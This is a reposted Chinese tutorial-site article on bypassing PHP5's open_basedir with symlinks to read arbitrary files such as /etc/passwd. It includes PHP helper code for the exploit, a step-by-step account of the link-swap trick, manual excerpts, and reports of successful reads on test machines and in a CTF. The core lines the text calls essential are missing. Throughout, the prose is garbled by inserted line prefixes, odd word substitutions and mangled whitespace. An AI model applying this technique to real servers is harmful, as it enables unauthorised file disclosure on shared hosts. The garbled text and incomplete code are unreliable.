《PHP實(shí)例:PHP5全版本繞過(guò)open_basedir讀文件腳本漏洞詳細(xì)介紹》要點(diǎn):
本文介紹了PHP實(shí)例:PHP5全版本繞過(guò)open_basedir讀文件腳本漏洞詳細(xì)介紹,希望對(duì)您有用。如果有疑問(wèn),可以聯(lián)系我們。
PHP學(xué)習(xí)漏洞很久之前(大概5年前)被提出來(lái)了,但并不是php代碼上的問(wèn)題,所以問(wèn)題一直存在,直到現(xiàn)在.我一直沒(méi)把穩(wěn),后來(lái)yaseng告訴我的,他測(cè)試了好像5.5都可以.
PHP學(xué)習(xí)破綻詳情在這里 http://cxsecurity.com/issue/WLB-2009110068.
PHP進(jìn)修給出我寫(xiě)的EXP:
PHP進(jìn)修function getRelativePath($from, $to) {
? // some compatibility fixes for Windows paths
? $from = rtrim($from, '\/') . '/';
? $from = str_replace('\\', '/', $from);
? $to?? = str_replace('\\', '/', $to);
PHP進(jìn)修? $from?? = explode('/', $from);
? $to???? = explode('/', $to);
? $relPath? = $to;
PHP進(jìn)修? foreach($from as $depth => $dir) {
??? // find first non-matching dir
??? if($dir === $to[$depth]) {
????? // ignore this directory
????? array_shift($relPath);
??? } else {
????? // get number of remaining dirs to $from
????? $remaining = count($from) - $depth;
????? if($remaining > 1) {
??????? // add traversals up to first matching dir
??????? $padLength = (count($relPath) + $remaining - 1) * -1;
??????? $relPath = array_pad($relPath, $padLength, '..');
??????? break;
????? } else {
??????? $relPath[0] = './' . $relPath[0];
????? }
??? }
? }
? return implode('/', $relPath);
}
PHP進(jìn)修function delfile($deldir){
? if (@is_file($deldir)) {
??? @chmod($deldir,0777);
??? return @unlink($deldir);
? }else if(@is_dir($deldir)){
??? if(($mydir = @opendir($deldir)) == NULL) return false;
??? while(false !== ($file = @readdir($mydir)))
??? {
????? $name = File_Str($deldir.'/'.$file);
????? if(($file!='.') && ($file!='..')){delfile($name);}
??? }
??? @closedir($mydir);
??? @chmod($deldir,0777);
??? return @rmdir($deldir) ? true : false;
? }
}
PHP進(jìn)修function File_Str($string)
{
? return str_replace('//','/',str_replace('\\','/',$string));
}
PHP進(jìn)修function getRandStr($length = 6) {
? $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
? $randStr = '';
? for ($i = 0; $i < $length; $i++) {
??? $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
? }
? return $randStr;
}
PHP學(xué)習(xí)如我們欲讀取/etc/passwd.其實(shí)原理便是創(chuàng)建一個(gè)鏈接文件x,用相對(duì)路徑指向a/a/a/a,再創(chuàng)建一個(gè)鏈接文件exp指向x/../../../etc/passwd.
PHP學(xué)習(xí)其實(shí)指向的便是a/a/a/a/../../../etc/passwd,其實(shí)便是./etc/passwd.
PHP學(xué)習(xí)這時(shí)候刪除x,再創(chuàng)建一個(gè)x目錄,但exp還是指向x/../../../etc/passwd,所以就勝利跨到/etc/passwd了.
PHP學(xué)習(xí)精華便是這四句:
PHP學(xué)習(xí)我們拜訪http://xxx/exp,如果服務(wù)器支持鏈接文件的拜訪,那么就能讀到/etc/passwd.
PHP學(xué)習(xí)其中并沒(méi)有任何操作觸發(fā)open_basedir,但達(dá)到的 效果便是繞過(guò)了open_basedir讀取任意文件 .
PHP學(xué)習(xí)差錯(cuò)不在php,但又不知道把差錯(cuò)歸結(jié)到誰(shuí)頭上,所以php一直未管這個(gè)問(wèn)題.
PHP進(jìn)修
PHP進(jìn)修open_basedir
PHP學(xué)習(xí)將 PHP 所能打開(kāi)的文件限制在指定的目錄樹(shù),包括文件本身.本指令 不受 平安模式打開(kāi)或者關(guān)閉的影響.
PHP學(xué)習(xí)當(dāng)一個(gè)腳本試圖用例如 fopen() 或者 gzopen() 打開(kāi)一個(gè)文件時(shí),該文件的位置將被檢查.當(dāng)文件在指定的目錄樹(shù)之外時(shí) PHP 將拒絕打開(kāi)它.所有的符號(hào)連接都會(huì)被解析,所以弗成能通過(guò)符號(hào)連接來(lái)避開(kāi)此限制.
PHP學(xué)習(xí)特殊值 . 指明腳本的工作目錄將被作為基準(zhǔn)目錄.但這有些危險(xiǎn),因?yàn)槟_本的工作目錄可以輕易被 chdir() 而轉(zhuǎn)變.
PHP學(xué)習(xí)在 httpd.conf 文件中中,open_basedir 可以像其它任何配置選項(xiàng)一樣用“php_admin_value open_basedir none”的 辦法 關(guān)閉(例如某些虛擬主機(jī)中).
PHP學(xué)習(xí)在 Windows 中,用分號(hào)分隔目錄.在任何其它系統(tǒng)中用冒號(hào)分隔目錄.作為 Apache 模塊時(shí),父目錄中的 open_basedir 路徑自動(dòng)被承繼.
PHP學(xué)習(xí)用 open_basedir 指定的限制實(shí)際上是前綴,不是目錄名.也就是說(shuō)“open_basedir = /dir/incl”也會(huì)允許拜訪“/dir/include”和“/dir/incls”,如果它們存在的話(huà).如果要將拜訪限制在僅為指定的目錄,用斜 線結(jié)束路徑名.例如:“open_basedir = /dir/incl/”.
PHP進(jìn)修Note:
PHP學(xué)習(xí)支持多個(gè)目錄是 3.0.7 參加的.
PHP學(xué)習(xí)默認(rèn)是容許打開(kāi)所有文件.
PHP學(xué)習(xí)我在我的VPS(php5.3.28 + nginx)和樹(shù)莓派(php 5.4.4 + nginx)上都測(cè)試過(guò),勝利讀取.
PHP進(jìn)修樹(shù)莓派測(cè)試:
PHP進(jìn)修
PHP進(jìn)修
PHP學(xué)習(xí)相比于5.3 XML那個(gè)洞(那個(gè)很多文件讀不了),這個(gè)成功率還是比擬穩(wěn)的,很多文件都能讀.而且版本沒(méi)要求,危害比擬大.
PHP學(xué)習(xí)前幾天成信的CTF,試了下這個(gè)腳本,apache也可以讀取,其時(shí)讀了讀kali機(jī)子的/etc/httpd/conf/httpd.conf,沒(méi)啥收獲.
PHP學(xué)習(xí)發(fā)現(xiàn)沒(méi)旁站,流量是經(jīng)由過(guò)程網(wǎng)關(guān)轉(zhuǎn)發(fā)的.
PHP進(jìn)修
《PHP實(shí)例:PHP5全版本繞過(guò)open_basedir讀文件腳本漏洞詳細(xì)介紹》是否對(duì)您有啟發(fā),歡迎查看更多與《PHP實(shí)例:PHP5全版本繞過(guò)open_basedir讀文件腳本漏洞詳細(xì)介紹》相關(guān)教程,學(xué)精學(xué)透。維易PHP學(xué)院為您提供精彩教程。
轉(zhuǎn)載請(qǐng)注明本頁(yè)網(wǎng)址:
http://www.fzlkiss.com/jiaocheng/12603.html